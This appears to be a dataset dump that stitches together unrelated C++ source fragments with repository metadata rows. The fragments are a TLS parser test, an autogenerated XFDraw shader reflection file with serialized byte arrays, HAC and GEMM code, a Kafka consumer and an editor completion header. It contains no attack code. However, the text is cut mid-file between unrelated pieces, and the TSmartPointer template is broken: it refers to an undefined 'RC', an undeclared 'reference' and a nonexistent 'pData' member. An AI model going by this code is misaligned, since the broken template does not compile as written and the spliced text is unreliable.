const char tls_record[] = { 22 // handshake type
,0x03,0x03 // legacy_version
,0x00, 0x01 // data length
,0x01 // ClientHello
};
record::Parser parser;
auto[bytes_parsed, err] = parser.parse_net_record<record::EmptyHook>( nullptr
,tls_record, sizeof( tls_record) );
CHECK( err );
REQUIRE( err.parse_errno() == record::ParserErrno::W_LOW_DATA_IN_HANDSHAKE );
}
// ParserErrno::E_CLIENT_HELLO_NO_SPACE_FOR_RANDOM
// SUBCASE( "append will increase size" )
// {
| 31.571429 | 82 | 0.59893 | pioneer19 |
4ed801405913cbce66fa232ec7c5fdb1e4da2bf2 | 13,773 | cpp | C++ | Demos/Shadow Demo/ShadowMappingDemo/bin/Debug/_temp_basicShaderReflect/xfconfig.cpp | theproadam/XFDraw | 08acaa83fffa8c36fa55164c128c9e3df625eed6 | [
"MIT"
] | 1 | 2021-07-06T11:25:47.000Z | 2021-07-06T11:25:47.000Z | Demos/Shadow Demo/ShadowMappingDemo/bin/Debug/_temp_basicShaderReflect/xfconfig.cpp | theproadam/XFDraw | 08acaa83fffa8c36fa55164c128c9e3df625eed6 | [
"MIT"
] | null | null | null | Demos/Shadow Demo/ShadowMappingDemo/bin/Debug/_temp_basicShaderReflect/xfconfig.cpp | theproadam/XFDraw | 08acaa83fffa8c36fa55164c128c9e3df625eed6 | [
"MIT"
] | 2 | 2021-07-26T11:54:33.000Z | 2021-07-26T12:08:46.000Z | //This autogenerated file contains serialization data that XFDraw uses for reflection.
//DO NOT MODIFY THE CONTENTS OF THIS FILE. DOING SO WILL SEGFAULT THE SHADER.
const unsigned char vs_serial_buffer[] = {0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,12,2,0,0,0,61,88,70,68,114,97,119,44,32,86,101,114,115,105,111,110,61,49,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,110,117,108,108,5,1,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,80,97,114,115,101,114,7,0,0,0,15,115,104,97,100,101,114,70,105,101,108,100,79,117,116,115,14,115,104,97,100,101,114,70,105,101,108,100,73,110,115,14,115,104,97,100,101,114,85,110,105,102,111,114,109,115,13,115,104,97,100,101,114,77,101,116,104,111,100,115,13,115,104,97,100,101,114,83,116,114,117,99,116,115,14,105,110,116,101,114,110,97,108,83,116,114,105,100,101,10,114,101,97,100,83,116,114,105,100,101,4,4,4,4,4,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,37,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,91,93,2,0,0,0,37,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,91,93,2,0,0,0,8,8,2,0,0,0,9,3,0,0,0,9,4,0,0,0,9,5,0,0,0,9,6,0,0,0,9,7,0,0,0,24,0,0,0,24,0,0,0,7,3,0,0,0,0,1,0,0,0,2,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,8,0,0,0,9,9,0,0,0,7,4,0,0,0,0,1,0,0,0,2,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,10,0,0,0,9,11,0,0,0,7,5,0,0,0,0,1,0,0,0,3,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,12,0,0,0,9,13,0,0,0,9,14,0,0,0,7,6,0,0,0,0,1,0,0,0,1,0,0,0,4,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,2,0,0,0,9,15,0,0,0,7,7,0,0,0,0,1,0,0,0,0,0,0,0,4,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,2,0,0,0,5,8,0,0,0,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,9,0,0,0,4,110,97,109,101,8,100,97,116,97,84,121,112,101,8,100,97,116,97,77,111,100,101,8,116,121,112,101,78,97,109,101,7,116,121,112,101,65,108,116,14,108,97,121,111,117,116,80,111,115,105,116,105,111,110,9,70,105,101,108,100,83,105,122,101,13,108,97,121,111,117,116,86,97,108,117,101,71,76,10,116,101,120,116,117,114,101,80,111,115,1,4,4,1,4,0,0,0,0,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,84,121,112,101,2,0,0,0,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,77,111,100,101,2,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,2,0,0,0,8,8,8,8,2,0,0,0,6,16,0,0,0,9,110,111,114,109,95,100,97,116,97,5,239,255,255,255,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,84,121,112,101,1,0,0,0,7,118,97,108,117,101,95,95,0,8,2,0,0,0,0,0,0,0,5,238,255,255,255,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,77,111,100,101,1,0,0,0,7,118,97,108,117,101,95,95,0,8,2,0,0,0,1,0,0,0,6,19,0,0,0,4,118,101,99,51,10,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,9,0,0,0,8,0,0,0,6,20,0,0,0,8,102,114,97,103,95,112,111,115,1,235,255,255,255,239,255,255,255,0,0,0,0,1,234,255,255,255,238,255,255,255,1,0,0,0,6,23,0,0,0,4,118,101,99,51,10,12,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,10,0,0,0,8,0,0,0,6,24,0,0,0,3,112,111,115,1,231,255,255,255,239,255,255,255,0,0,0,0,1,230,255,255,255,238,255,255,255,0,0,0,0,6,27,0,0,0,4,118,101,99,51,10,0,0,0,0,255,255,255,255,0,0,0,0,255,255,255,255,1,11,0,0,0,8,0,0,0,6,28,0,0,0,4,110,111,114,109,1,227,255,255,255,239,255,255,255,0,0,0,0,1,226,255,255,255,238,255,255,255,0,0,0,0,6,31,0,0,0,4,118,101,99,51,10,12,0,0,0,255,255,255,255,1,0,0,0,255,255,255,255,1,12,0,0,0,8,0,0,0,6,32,0,0,0,9,99,97,109,101,114,97,80,111,115,1,223,255,255,255,239,255,255,255,0,0,0,0,1,222,255,255,255,238,255,255,255,2,0,0,0,6,35,0,0,0,4,118,101,99,51,10,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,13,0,0,0,8,0,0,0,6,36,0,0,0,9,99,97,109,101,114,97,82,111,116,1,219,255,255,255,239,255,255,255,7,0,0,0,1,218,255,255,255,238,255,255,255,2,0,0,0,6,39,0,0,0,4,109,97,116,51,10,12,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,14,0,0,0,8,0,0,0,6,40,0,0,0,9,111,98,106,101,99,116,80,111,115,1,215,255,255,255,239,255,255,255,0,0,0,0,1,214,255,255,255,238,255,255,255,2,0,0,0,6,43,0,0,0,4,118,101,99,51,10,48,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,5,15,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,3,0,0,0,9,101,110,116,114,121,78,97,109,101,8,99,111,110,116,101,110,116,115,12,105,115,69,110,116,114,121,80,111,105,110,116,1,1,0,1,2,0,0,0,6,44,0,0,0,11,118,111,105,100,32,109,97,105,110,40,41,6,45,0,0,0,121,118,101,99,51,32,119,111,114,108,100,95,112,111,115,32,61,32,112,111,115,32,43,32,111,98,106,101,99,116,80,111,115,59,103,108,95,80,111,115,105,116,105,111,110,32,61,32,99,97,109,101,114,97,82,111,116,32,42,32,40,119,111,114,108,100,95,112,111,115,32,45,32,99,97,109,101,114,97,80,111,115,41,59,110,111,114,109,95,100,97,116,97,32,61,32,110,111,114,109,59,102,114,97,103,95,112,111,115,32,61,32,119,111,114,108,100,95,112,111,115,59,1,11 };
const unsigned char fs_serial_buffer[] = {0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,12,2,0,0,0,61,88,70,68,114,97,119,44,32,86,101,114,115,105,111,110,61,49,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,110,117,108,108,5,1,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,80,97,114,115,101,114,7,0,0,0,15,115,104,97,100,101,114,70,105,101,108,100,79,117,116,115,14,115,104,97,100,101,114,70,105,101,108,100,73,110,115,14,115,104,97,100,101,114,85,110,105,102,111,114,109,115,13,115,104,97,100,101,114,77,101,116,104,111,100,115,13,115,104,97,100,101,114,83,116,114,117,99,116,115,14,105,110,116,101,114,110,97,108,83,116,114,105,100,101,10,114,101,97,100,83,116,114,105,100,101,4,4,4,4,4,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,37,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,91,93,2,0,0,0,37,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,91,93,2,0,0,0,8,8,2,0,0,0,9,3,0,0,0,9,4,0,0,0,9,5,0,0,0,9,6,0,0,0,9,7,0,0,0,4,0,0,0,24,0,0,0,7,3,0,0,0,0,1,0,0,0,1,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,8,0,0,0,7,4,0,0,0,0,1,0,0,0,2,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,9,0,0,0,9,10,0,0,0,7,5,0,0,0,0,1,0,0,0,2,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,11,0,0,0,9,12,0,0,0,7,6,0,0,0,0,1,0,0,0,2,0,0,0,4,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,2,0,0,0,9,13,0,0,0,9,14,0,0,0,7,7,0,0,0,0,1,0,0,0,0,0,0,0,4,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,2,0,0,0,5,8,0,0,0,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,9,0,0,0,4,110,97,109,101,8,100,97,116,97,84,121,112,101,8,100,97,116,97,77,111,100,101,8,116,121,112,101,78,97,109,101,7,116,121,112,101,65,108,116,14,108,97,121,111,117,116,80,111,115,105,116,105,111,110,9,70,105,101,108,100,83,105,122,101,13,108,97,121,111,117,116,86,97,108,117,101,71,76,10,116,101,120,116,117,114,101,80,111,115,1,4,4,1,4,0,0,0,0,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,84,121,112,101,2,0,0,0,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,77,111,100,101,2,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,2,0,0,0,8,8,8,8,2,0,0,0,6,15,0,0,0,9,70,114,97,103,67,111,108,111,114,5,240,255,255,255,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,84,121,112,101,1,0,0,0,7,118,97,108,117,101,95,95,0,8,2,0,0,0,5,0,0,0,5,239,255,255,255,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,77,111,100,101,1,0,0,0,7,118,97,108,117,101,95,95,0,8,2,0,0,0,1,0,0,0,6,18,0,0,0,5,98,121,116,101,52,10,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,9,0,0,0,8,0,0,0,6,19,0,0,0,9,110,111,114,109,95,100,97,116,97,1,236,255,255,255,240,255,255,255,0,0,0,0,1,235,255,255,255,239,255,255,255,0,0,0,0,6,22,0,0,0,4,118,101,99,51,10,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,10,0,0,0,8,0,0,0,6,23,0,0,0,8,102,114,97,103,95,112,111,115,1,232,255,255,255,240,255,255,255,0,0,0,0,1,231,255,255,255,239,255,255,255,0,0,0,0,6,26,0,0,0,4,118,101,99,51,10,12,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,11,0,0,0,8,0,0,0,6,27,0,0,0,8,108,105,103,104,116,68,105,114,1,228,255,255,255,240,255,255,255,0,0,0,0,1,227,255,255,255,239,255,255,255,2,0,0,0,6,30,0,0,0,4,118,101,99,51,10,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,12,0,0,0,8,0,0,0,6,31,0,0,0,11,111,98,106,101,99,116,67,111,108,111,114,1,224,255,255,255,240,255,255,255,0,0,0,0,1,223,255,255,255,239,255,255,255,2,0,0,0,6,34,0,0,0,4,118,101,99,51,10,12,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,5,13,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,3,0,0,0,9,101,110,116,114,121,78,97,109,101,8,99,111,110,116,101,110,116,115,12,105,115,69,110,116,114,121,80,111,105,110,116,1,1,0,1,2,0,0,0,6,35,0,0,0,34,105,110,108,105,110,101,32,102,108,111,97,116,32,109,97,120,40,102,108,111,97,116,32,97,44,32,102,108,111,97,116,32,98,41,6,36,0,0,0,34,105,102,32,40,97,32,60,32,98,41,32,114,101,116,117,114,110,32,98,59,101,108,115,101,32,114,101,116,117,114,110,32,97,59,0,1,14,0,0,0,13,0,0,0,6,37,0,0,0,11,118,111,105,100,32,109,97,105,110,40,41,6,38,0,0,0,155,3,99,111,110,115,116,32,102,108,111,97,116,32,97,109,98,105,101,110,116,83,116,114,101,110,103,116,104,32,61,32,48,46,49,102,59,118,101,99,51,32,108,105,103,104,116,67,111,108,111,114,32,61,32,118,101,99,51,40,48,46,56,102,44,32,48,46,56,102,44,32,48,46,56,102,41,59,118,101,99,51,32,97,109,98,105,101,110,116,32,61,32,108,105,103,104,116,67,111,108,111,114,32,42,32,97,109,98,105,101,110,116,83,116,114,101,110,103,116,104,59,102,108,111,97,116,32,100,105,102,102,32,61,32,109,97,120,40,100,111,116,40,110,111,114,109,95,100,97,116,97,44,32,108,105,103,104,116,68,105,114,41,44,32,48,46,48,41,59,118,101,99,51,32,100,105,102,102,117,115,101,32,61,32,108,105,103,104,116,67,111,108,111,114,32,42,32,100,105,102,102,59,118,101,99,51,32,114,101,115,117,108,116,32,61,32,111,98,106,101,99,116,67,111,108,111,114,32,42,32,40,97,109,98,105,101,110,116,32,43,32,100,105,102,102,117,115,101,41,32,42,32,50,53,53,46,48,102,59,105,102,32,40,114,101,115,117,108,116,46,120,32,62,32,50,53,53,41,32,114,101,115,117,108,116,46,120,32,61,32,50,53,53,59,105,102,32,40,114,101,115,117,108,116,46,121,32,62,32,50,53,53,41,32,114,101,115,117,108,116,46,121,32,61,32,50,53,53,59,105,102,32,40,114,101,115,117,108,116,46,122,32,62,32,50,53,53,41,32,114,101,115,117,108,116,46,122,32,61,32,50,53,53,59,70,114,97,103,67,111,108,111,114,32,61,32,98,121,116,101,52,40,114,101,115,117,108,116,46,120,44,32,114,101,115,117,108,116,46,121,44,32,114,101,115,117,108,116,46,122,41,59,1,11 };
extern "C" __declspec(dllexport) void ReadyShader(long* vs_parse_size, long* fs_parse_size, long* compiled_version)
{
*vs_parse_size = 1898;
*fs_parse_size = 2133;
*compiled_version = 0;
}
extern "C" __declspec(dllexport) void LoadData(unsigned char* vsPtr, unsigned char* fsPtr)
{
for (int i = 0; i < 1898; i++)
{
vsPtr[i] = vs_serial_buffer[i];
}
for (int i = 0; i < 2133; i++)
{
fsPtr[i] = fs_serial_buffer[i];
}
} | 529.730769 | 7,034 | 0.692877 | theproadam |
4de5a5b2d9467416244e2843224657606b0ca5cf | 1,857 | tcc | C++ | hackt_docker/hackt/src/Object/common/namespace.tcc | broken-wheel/hacktist | 36e832ae7dd38b27bca9be7d0889d06054dc2806 | [
"MIT"
] | null | null | null | hackt_docker/hackt/src/Object/common/namespace.tcc | broken-wheel/hacktist | 36e832ae7dd38b27bca9be7d0889d06054dc2806 | [
"MIT"
] | null | null | null | hackt_docker/hackt/src/Object/common/namespace.tcc | broken-wheel/hacktist | 36e832ae7dd38b27bca9be7d0889d06054dc2806 | [
"MIT"
] | null | null | null | /**
\file "Object/common/namespace.tcc"
Template method definitions for class name_space.
This file was "Object/common/namespace.tcc"
in a previous life.
$Id: namespace.tcc,v 1.6 2009/02/18 00:22:30 fang Exp $
*/
#ifndef __HAC_OBJECT_COMMON_NAMESPACE_TCC__
#define __HAC_OBJECT_COMMON_NAMESPACE_TCC__
#if 0
// we may no longer need this if using ordered_maps
#include "util/hash_specializations.h" // needs to be first
#endif
#include "Object/common/scopespace.hh"
namespace HAC {
namespace entity {
//=============================================================================
// class namespace method definitions
/**
General collector of things over namespaces.
Accumulates matches in the list l.
Things may be definitionas, instance collections, etc...
\param L the list type to accumulate.
The list type requires only a push_back interface.
The type of object to collect is deduced from L::value_type.
Constraint: L::value_type must be a never_ptr.
I should enforce this with a concept-check...
\param l the list in which to accumulate matches.
*/
template <class L>
void
scopespace::collect(L& l) const {
typedef typename L::value_type pointer_type;
typedef typename pointer_type::element_type element_type;
used_id_map_type::const_iterator i(used_id_map.begin());
const used_id_map_type::const_iterator e(used_id_map.end());
for ( ; i!=e; i++) {
// const here will check for const-copy-constructibility
// where push_back is called.
const never_ptr<object> o(i->second);
const pointer_type p(o.template is_a<element_type>());
// template keyword needed by g++-3.3, I believe.
if (p) l.push_back(p);
}
}
//=============================================================================
} // end namespace entity
} // end namespace HAC
#endif // __HAC_OBJECT_COMMON_NAMESPACE_TCC__
| 32.578947 | 79 | 0.677975 | broken-wheel |
4de71fffabd753e31b08c0089034520efb79c92d | 2,343 | hpp | C++ | include/GQE/Core/interfaces/TSmartPointer.hpp | Maarrch/gqe | 51f6ff82cbcafee97b9c245fa5bbea49e11a46da | [
"MIT"
] | 8 | 2017-04-06T13:14:27.000Z | 2022-01-20T22:25:04.000Z | include/GQE/Core/interfaces/TSmartPointer.hpp | Maarrch/gqe | 51f6ff82cbcafee97b9c245fa5bbea49e11a46da | [
"MIT"
] | null | null | null | include/GQE/Core/interfaces/TSmartPointer.hpp | Maarrch/gqe | 51f6ff82cbcafee97b9c245fa5bbea49e11a46da | [
"MIT"
] | 3 | 2019-11-09T09:46:38.000Z | 2021-02-25T00:32:28.000Z | /**
* Provides the Smart Pointer Template class for handling smart pointers.
*
* @file include/GQE/Core/interfaces/TSmartPointer.hpp
* @author Jacob Dix
* @date 20120423 - Initial Release
*/
#ifndef TSMART_POINTER_HPP_INCLUDED
#define TSMART_POINTER_HPP_INCLUDED
#include <GQE/Core/classes/ReferenceCount.hpp>
template < typename T > class TSmartPointer
{
private:
T* mData; // pointer
ReferenceCount* mReference; // Reference count
public:
TSmartPointer() : mData(0), mReference(0)
{
// Create a new reference
mReference = new RC();
// Increment the reference count
mReference->AddRef();
}
TSmartPointer(T* theValue) : mData(theValue), mReference(0)
{
// Create a new reference
reference = new RC();
// Increment the reference count
reference->AddRef();
}
TSmartPointer(const TSmartPointer<T>& theSmartPointer) : mData(theSmartPointer.mData), mReference(theSmartPointer.mReference)
{
// Copy constructor
// Copy the data and reference pointer
// and increment the reference count
mReference->AddRef();
}
~TSmartPointer()
{
// Destructor
// Decrement the reference count
// if reference become zero delete the data
if(mReference->Release() == 0)
{
delete mData;
delete mReference;
}
}
T& operator* ()
{
return *mData;
}
T* operator-> ()
{
return mData;
}
TSmartPointer<T>& operator = (const TSmartPointer<T>& theSmartPointer)
{
// Assignment operator
if (this != &theSmartPointer) // Avoid self assignment
{
// Decrement the old reference count
// if reference become zero delete the old data
if(mReference->Release() == 0)
{
delete mData;
delete mReference;
}
// Copy the data and reference pointer
// and increment the reference count
mData = theSmartPointer.pData;
mReference = theSmartPointer.mReference;
mReference->AddRef();
}
return *this;
}
};
#endif | 26.931034 | 130 | 0.5621 | Maarrch |
4de8e80b9f3a3e223026a2e3fc3ef25cdcf9ba2d | 596 | cxx | C++ | OldHPCSummerSchool/Cpp-tutorial/optimizing_gemm/my_dgemm_0.cxx | wadejong/Summer-School-Materials | 82469995a79c667e940313d423e93c7c675e0a7c | [
"BSD-3-Clause"
] | 5 | 2018-08-06T22:18:42.000Z | 2020-01-15T06:04:43.000Z | OldHPCSummerSchool/Cpp-tutorial/optimizing_gemm/my_dgemm_0.cxx | wadejong/Summer-School-Materials | 82469995a79c667e940313d423e93c7c675e0a7c | [
"BSD-3-Clause"
] | null | null | null | OldHPCSummerSchool/Cpp-tutorial/optimizing_gemm/my_dgemm_0.cxx | wadejong/Summer-School-Materials | 82469995a79c667e940313d423e93c7c675e0a7c | [
"BSD-3-Clause"
] | 8 | 2018-07-30T17:21:45.000Z | 2020-05-21T15:54:16.000Z | #include "common.hpp"
/*
* Compute C += A*B
*/
void my_dgemm(int m, int n, int k, const matrix& A, const matrix& B, matrix& C)
{
/*
* Step 0:
*
* Simple triple-loop matrix-matrix product.
*
* This ordering of the loops is called the "dot-product" algorithm.
*/
for (int i = 0;i < m;i++)
{
for (int j = 0;j < n;j++)
{
/*
* ...because this loop is a dot product (duh).
*/
for (int p = 0;p < k;p++)
{
C(i,j) += A(i,p) * B(p,j);
}
}
}
}
| 20.551724 | 79 | 0.412752 | wadejong |
4df3f46fb1a5b2ba9e5127cc405c02c49922d36b | 4,483 | cpp | C++ | src/flame/kafka/consumer.cpp | terrywh/php-mill | b8d6c82dcac230248f9bdcd8300e5f2de417f21f | [
"MIT"
] | 45 | 2017-10-13T02:26:30.000Z | 2021-03-28T10:07:32.000Z | src/flame/kafka/consumer.cpp | terrywh/php-mill | b8d6c82dcac230248f9bdcd8300e5f2de417f21f | [
"MIT"
] | 1 | 2021-03-12T15:01:07.000Z | 2021-03-16T02:42:17.000Z | src/flame/kafka/consumer.cpp | terrywh/php-mill | b8d6c82dcac230248f9bdcd8300e5f2de417f21f | [
"MIT"
] | 17 | 2017-05-04T18:48:39.000Z | 2021-09-11T07:04:55.000Z | #include "../coroutine.h"
#include "../time/time.h"
#include "consumer.h"
#include "_consumer.h"
#include "kafka.h"
#include "message.h"
#include "../../coroutine_queue.h"
#include "../log/logger.h"
namespace flame::kafka {
void consumer::declare(php::extension_entry& ext) {
php::class_entry<consumer> class_consumer("flame\\kafka\\consumer");
class_consumer
.method<&consumer::__construct>("__construct", {}, php::PRIVATE)
.method<&consumer::run>("run", {
{"callable", php::TYPE::CALLABLE},
})
.method<&consumer::commit>("commit", {
{"message", "flame\\kafka\\message"}
})
.method<&consumer::close>("close");
ext.add(std::move(class_consumer));
}
php::value consumer::__construct(php::parameters& params) {
// close_ = false;
return nullptr;
}
php::value consumer::run(php::parameters& params) {
cb_ = params[0];
coroutine_handler ch_run {coroutine::current};
coroutine_queue<rd_kafka_message_t*> q;
// 启动若干协程, 然后进行"并行"消费
int count = cc_;
for (int i = 0; i < count; ++i) {
// 启动协程开始消费
coroutine::start(php::value([this, &ch_run, &q, &count](php::parameters ¶ms) -> php::value {
coroutine_handler ch {coroutine::current};
while(true) {
try {
// consume 本身可能出现异常，不应导致进程停止
std::optional<rd_kafka_message_t*> m = q.pop(ch);
if (m) {
php::object obj(php::class_entry<message>::entry());
message* ptr = static_cast<message*>(php::native(obj));
ptr->build_ex(m.value()); // msg 交由 message 对象管理
cb_.call({obj});
}
else break;
} catch(const php::exception& ex) {
// 调用用户异常回调
gcontroller->event("exception", {ex});
// 记录错误信息
php::object obj = ex;
log::logger_->stream() << "[" << time::iso() << "] (ERROR) Uncaught exception in Kafka consumer: " << obj.call("__toString") << std::endl;
}
}
// 最后一个消费协程停止后，回复 run() 阻塞的协程
if (--count == 0) ch_run.resume(); // (B) -> (C)
return nullptr;
}));
}
rd_kafka_resp_err_t error = RD_KAFKA_RESP_ERR_NO_ERROR;
// 启动轻量的 C++ 协程进行消费
::coroutine::start(gcontroller->context_x.get_executor(), [this, &error, &q] (::coroutine_handler ch) {
boost::asio::steady_timer tm { gcontroller->context_x };
while(!close_) {
error = cs_->consume(q, ch);
switch(error) {
case RD_KAFKA_RESP_ERR__PARTITION_EOF: // 消费到结尾后，适当等待
error = RD_KAFKA_RESP_ERR_NO_ERROR;
tm.expires_from_now(std::chrono::milliseconds(300));
tm.async_wait(ch);
break;
case RD_KAFKA_RESP_ERR__TRANSPORT: // 连接异常（貌似可恢复 ...）
error = RD_KAFKA_RESP_ERR_NO_ERROR;
tm.expires_from_now(std::chrono::milliseconds(1000));
tm.async_wait(ch);
break;
case RD_KAFKA_RESP_ERR_NO_ERROR: // 无错误
break;
default:
close_ = true;
}
}
cs_->close();
q.close(); // (A) -> (B)
});
ch_run.suspend(); // (C)
if(error != RD_KAFKA_RESP_ERR_NO_ERROR) throw php::exception(
zend_ce_exception,
(boost::format("Failed to commit Kafka message: (%d) %s")
% error % rd_kafka_err2str(error)).str(), error);
return nullptr;
}
php::value consumer::commit(php::parameters& params) {
php::object obj = params[0];
coroutine_handler ch {coroutine::current};
cs_->commit(obj, ch);
return nullptr;
}
php::value consumer::close(php::parameters& params) {
close_ = true;
return nullptr;
}
} // namespace
| 39.672566 | 163 | 0.47669 | terrywh |
4df7c2c8de3b31ff702cfe34df9443b082e3c34c | 27,991 | cpp | C++ | vivi/vivi64/completion.cpp | vivisuke/openViVi | d3e57727393bfc48625945f09ca743e81bf14817 | [
"MIT"
] | 54 | 2020-02-15T23:17:25.000Z | 2021-11-14T17:13:22.000Z | vivi/vivi64/completion.cpp | vivisuke/openViVi | d3e57727393bfc48625945f09ca743e81bf14817 | [
"MIT"
] | 11 | 2020-06-01T08:04:40.000Z | 2020-11-22T02:18:41.000Z | vivi/vivi64/completion.cpp | vivisuke/openViVi | d3e57727393bfc48625945f09ca743e81bf14817 | [
"MIT"
] | 1 | 2020-06-01T07:51:47.000Z | 2020-06-01T07:51:47.000Z | //----------------------------------------------------------------------
//
// File: "completion.cpp"
// Created: 01-10-2013
// Author: 津田伸秀
// Description:
//
//----------------------------------------------------------------------
#include <QtGui>
#include <QMessageBox>
#include <QVBoxLayout>
#include "EditView.h"
#include "Document.h"
#include "mainwindow.h"
#include "typeSettings.h"
#include "globalSettings.h"
#include "charEncoding.h"
#include "TextCursor.h"
#include "tokenizer.h"
#include "CompletionWidget.h"
#include "AutoCompletionDlg.h"
#include "ViEngine.h"
#include "../buffer/Buffer.h"
#include "../buffer/bufferUtl.h"
#include "../buffer/sssearch.h"
QString getLastToken(TypeSettings *typeSettings, const Buffer &buffer, pos_t pos0, pos_t last, pos_t &);
void setupCandidates(QStringList &lst, const QString &key, const QString &type);
inline bool isSpaceChar(wchar_t ch)
{
return ch == ' ' || ch == '\t';
}
inline bool isSpaceOrNewLineChar(wchar_t ch)
{
return ch == ' ' || ch == '\t' || ch == '\r' || ch == '\n';
}
inline bool isLetterOrNumberOrUnderbar(const QChar &ch)
{
return ch.unicode() < 0x100 && (ch.isLetterOrNumber() || ch == QChar('_'));
}
inline bool isLetterOrNumberOrUnderbarOrMinus(const QChar &ch)
{
return ch.unicode() < 0x100 && (ch.isLetterOrNumber() || ch == QChar('_') || ch == QChar('-'));
}
inline bool isLetterOrUnderbar(const QChar &ch)
{
return ch.unicode() < 0x100 && (ch.isLetter() || ch == QChar('_'));
}
